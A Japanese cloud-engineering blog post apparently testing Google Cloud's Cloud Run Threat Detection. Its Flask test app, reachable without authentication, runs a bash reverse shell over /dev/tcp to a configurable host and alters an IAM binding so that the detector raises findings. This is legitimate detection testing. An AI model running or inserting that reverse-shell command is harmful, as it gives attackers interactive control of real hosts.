G-gen の三浦です。当記事では、Cloud Run Threat Detection を検証した結果を紹介します。
概要
Cloud Run Threat Detection とは
Cloud Run Threat Detection とは、Cloud Run で実行されているアプリケーションに対する攻撃や不正な操作ログを検出するセキュリティ機能です。実行中の Cloud Run アプリケーションを継続的にモニタリングし、ニアリアルタイムで Security Command Center(以下、SCC)に検出結果を報告します。
検査対象リソースは、Cloud Run サービスおよび Cloud Run ジョブ です。
- 参考 : Cloud Run の脅威検出の概要
当機能は、SCC のプレミアムティアまたは エンタープライズティアでのみ利用可能です。
- 参考 : Security Command Center のサービスティア
- 参考 : Security Command Centerを徹底解説。Google Cloud(GCP)の脆弱性を自動検知 - G-gen Tech Blog - Security Command Center とは
なお当機能は、2025年4月時点でプレビューであり、本番環境での利用は推奨されません。
2つの検出機能
Cloud Run Threat Detectionには、ランタイム検出とコントロールプレーン検出の2種類の検出方法が含まれており、違いは以下のとおりです。
検出種類 | 対応している Cloud Run の世代 | 具体的な検出内容の例 |
---|---|---|
ランタイム検出 | 第2世代のみ | コンテナエスケープ、悪意のあるバイナリやスクリプトの実行、偵察ツールの使用など |
コントロール プレーン検出 | 第1世代・第2世代 | クリプトマイニングの兆候や、不審な IAM 設定変更などの操作ログを検出 |
Artifact Analysis との違い
類似機能として、Artifact Registry に保存されたコンテナイメージの脆弱性をスキャンする Artifact Analysis があります。
両機能の違いは以下のとおりで、検出タイミングや対象、目的が異なり、相互に補完しあいます。
機能名 | 検出対象 | 検出タイミング | ユースケース |
---|---|---|---|
Cloud Run の脅威検出 | コンテナ本体 | 実行時(ランタイム) | 本番環境における異常検知・不正アクセスの監視 |
Artifact Analysis | コンテナイメージ | イメージの Push 時、または手動スキャン時 | リリース前のセキュリティチェック |
注意事項
当機能を組織またはプロジェクトで有効にすると、第 1 世代の実行環境を指定した Cloud Run サービスは新たに作成できなくなります。事前にご確認ください。
Cloud Run 脅威検出を有効にすると、第 1 世代の実行環境で実行される Cloud Run サービスまたはサービス リビジョンを作成できません。Cloud Run サービスは第 2 世代の実行環境を使用する必要があります。Cloud Run の脅威検出を有効にする前に、第 2 世代の実行環境でワークロードをテストすることをおすすめします。
各実行環境の特徴については、以下の記事および公式ドキュメントをご参照ください。
検証内容
検証手順は次のとおりです。
項番 | 内容 | 説明 |
---|---|---|
1 | 脅威検出機能の有効化 | 検証プロジェクトで SCC のプレミアムティアを有効化し、Cloud Run の脅威検出機能を有効化する |
2 | Cloud Run のデプロイ | 脅威検出対象となる Cloud Run サービスをデプロイする |
3 | 疑似攻撃の実行と検出結果の確認 | コンテナ内で疑似的な悪意のある操作を行い、ランタイム検出とコントロールプレーン検出による検知を確認する |
検証
脅威検出機能の有効化
プロジェクトセレクタで検証用プロジェクトが選択されていることを確認したあと、[セキュリティ] > [リスクの概要] から [プレミアムへ切り替え] を選択します。


プレミアム ティア
が選択されていることを確認し、[次へ] を選択します。

以下を設定し、[ティアを更新] を選択します。
- Cloud Run の脅威検出:
有効にする

階層がSecurity Command Center Premium
と表示されることを確認します。

Cloud Run のデプロイ
ディレクトリ構成
ディレクトリ構成は以下の通りです。
.├── Dockerfile├── main.py└── requirements.txt
Dockerfile
FROM google/cloud-sdk:slim# 作業ディレクトリWORKDIR /app# Python 関連ツールをインストールRUN apt-get update && \apt-get install -y python3 python3-venv python3-pip && \apt-get clean# Python 仮想環境を構築して有効化RUN python3 -m venv /app/venvENV PATH="/app/venv/bin:$PATH"# Flask のインストールCOPY requirements.txt .RUN pip install --no-cache-dir -r requirements.txt# アプリケーションコードCOPY main.py .# ポート指定(Cloud Run)ENV PORT=8080# アプリ起動CMD ["python", "main.py"]
main.py
この Flask アプリは、Cloud Run の脅威検出機能を検証するためのものです。
/simulate
にアクセスすると、リバースシェル通信と IAM 設定変更を疑似的に実行します。
from flask import Flaskimport osimport subprocessimport logging# Flask アプリの起動app = Flask(__name__)logging.basicConfig(level=logging.INFO)# ==========================================# 必須の環境変数を取得# デプロイ時に --set-env-vars で設定します# ==========================================REVERSE_SHELL_HOST = os.environ.get("REVERSE_SHELL_HOST") # 疑似リバースシェルの接続先ホストPROJECT_ID = os.environ.get("PROJECT_ID") # GCP プロジェクト IDPROJECT_NUMBER = os.environ.get("PROJECT_NUMBER") # GCP プロジェクト番号(数値)SERVICE_NAME = os.environ.get("SERVICE_NAME") # この Cloud Run サービス名REGION = os.environ.get("REGION", "asia-northeast1") # リージョン(デフォルト: 東京)# リバースシェル用の接続ポート(固定)REVERSE_SHELL_PORT = "80"# ==========================================# 必須環境変数のチェック# ==========================================if not all([REVERSE_SHELL_HOST, PROJECT_ID, PROJECT_NUMBER, SERVICE_NAME]):raise EnvironmentError("環境変数 REVERSE_SHELL_HOST, PROJECT_ID, PROJECT_NUMBER, SERVICE_NAME をすべて設定してください。")# ==========================================# GET / → 簡易ステータス確認用# ==========================================@app.route("/")def index():return "Cloud Run Threat Detection simulation is ready.\n"# ==========================================# GET /simulate# 疑似リバースシェル(ランタイム検出)と IAM 操作(コントロールプレーン検出)を一括実行# ==========================================@app.route("/simulate")def simulate():logging.warning(f"🚨 Simulating reverse shell to {REVERSE_SHELL_HOST}:{REVERSE_SHELL_PORT}")# ✅ ランタイム検出: 疑似リバースシェルを実行(CLOUD_RUN_REVERSE_SHELL)subprocess.run(["bash", "-c",f"bash -i >& /dev/tcp/{REVERSE_SHELL_HOST}/{REVERSE_SHELL_PORT} 0>&1 || true"])# ✅ コントロール プレーン検出: IAM ポリシー変更(CLOUD_RUN_SERVICES_SET_IAM_POLICY)# デフォルトの GCE サービスアカウントを Cloud Run の Invoker に追加default_sa = f"{PROJECT_NUMBER}-compute@developer.gserviceaccount.com"logging.warning(f"🔐 Binding default GCE SA ({default_sa}) to {SERVICE_NAME}")subprocess.run(["gcloud", "run", "services", "add-iam-policy-binding", SERVICE_NAME,"--member", f"serviceAccount:{default_sa}","--role", "roles/run.invoker","--region", REGION,"--project", PROJECT_ID])logging.warning("✅ Threat simulation completed.")return (f"Reverse shell simulated to {REVERSE_SHELL_HOST}:{REVERSE_SHELL_PORT}\n"f"IAM policy updated for {default_sa} on {SERVICE_NAME}\n")if __name__ == "__main__":port = int(os.environ.get("PORT", 8080))app.run(host="0.0.0.0", port=port)
requirements.txt
flask
以下コマンドでContainer Threat Detection API
を有効化します。
# プロジェクト IDexport PROJECT_ID="myproject"# API を有効化gcloud services enable containerthreatdetection.googleapis.com \--project=$PROJECT_ID
上記 API が無効な場合、以下ログが出力され、脅威検知が実施されませんので、ご注意ください。
textPayload: "W0410 08:36:54.096441 8 ktdclient.go:334] ktdclient connection closed unexpectedly: failed to receive initial response from ktd service: rpc error: code = PermissionDenied desc = Container Threat Detection API has not been used in project XXXXX before or it is disabled. Enable it by visiting https://console.developers.google.com/apis/api/containerthreatdetection.googleapis.com/overview?project=XXXXX then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry."
以下のコマンドで Cloud Run サービスをデプロイします。
# イメージと Cloud Run サービス名export SERVICE_NAME=cloudrun-test# Cloud Run から TCP/80 に接続するテスト用ホストを指定します(例:dev.yourdomain.com)# リバースシェルの動作を再現するため、HTTP 通信が可能な検証用 FQDN を使用してくださいexport REVERSE_SHELL_HOST=dev.yourdomain.com# プロジェクト ID と番号を自動取得export PROJECT_ID=$(gcloud config get-value project)export PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")# Cloud Run サービスのデプロイgcloud run deploy $SERVICE_NAME --source . \--region=asia-northeast1 \--allow-unauthenticated \--set-env-vars REVERSE_SHELL_HOST=$REVERSE_SHELL_HOST,PROJECT_ID=$PROJECT_ID,PROJECT_NUMBER=$PROJECT_NUMBER,SERVICE_NAME=$SERVICE_NAME
疑似攻撃の実行と検出結果の確認
Cloud Run サービスへアクセスします。
# Cloud Run サービスの URL を環境変数に設定export CLOUD_RUN_URL=$(gcloud run services describe $SERVICE_NAME \--region=asia-northeast1 \--project=$PROJECT_ID \--format="value(status.url)")# Cloud Run サービスの /simulate エンドポイントへアクセスcurl -s "${CLOUD_RUN_URL}/simulate"
[セキュリティ] >[検出結果] から [Cloud Run Threat Detection] と [Event Threat Detection] を選択し、脅威を検出していることを確認します。


